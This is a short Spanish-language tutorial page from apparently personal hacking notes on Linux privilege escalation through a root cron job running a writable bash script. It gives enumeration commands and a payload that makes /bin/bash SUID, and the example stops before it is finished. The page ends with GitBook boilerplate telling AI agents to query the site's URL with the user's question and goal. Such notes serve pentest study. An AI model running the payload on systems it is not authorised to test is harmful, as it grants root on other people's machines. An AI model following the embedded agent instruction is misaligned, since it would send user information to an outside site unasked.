# Trabajo cron de script Bash modificado - Escalada de privilegios en Linux

Notas de trabajos cron - script modificado (Bash) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación enfocada en informes.

## Qué es

Los cron jobs crean vías de escalada de privilegios cuando las tareas recurrentes de root ejecutan scripts editables, rutas relativas inseguras o procesadores vulnerables. La clave es demostrar que un usuario con pocos privilegios controla algo que ejecutará una tarea programada con privilegios. Esta página específica se centra en **Cron Jobs - Script modificado (Bash)** y mantiene práctico el flujo de explotación: identifica la condición, valídala de forma segura y luego ejecuta la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Empieza confirmando el contexto local y la configuración errónea exacta antes de ejecutar la ruta de explotación.

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## Ejemplos

En este caso, encontramos que un script.sh \*\*se está ejecutando\*\*:

Lo que haremos es **modificar** el script con el siguiente contenido:

```bash
sleep 2
chmod u+s /bin/bash
```

Ejecutamos Bash con el **p** parámetro de privilegio:

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
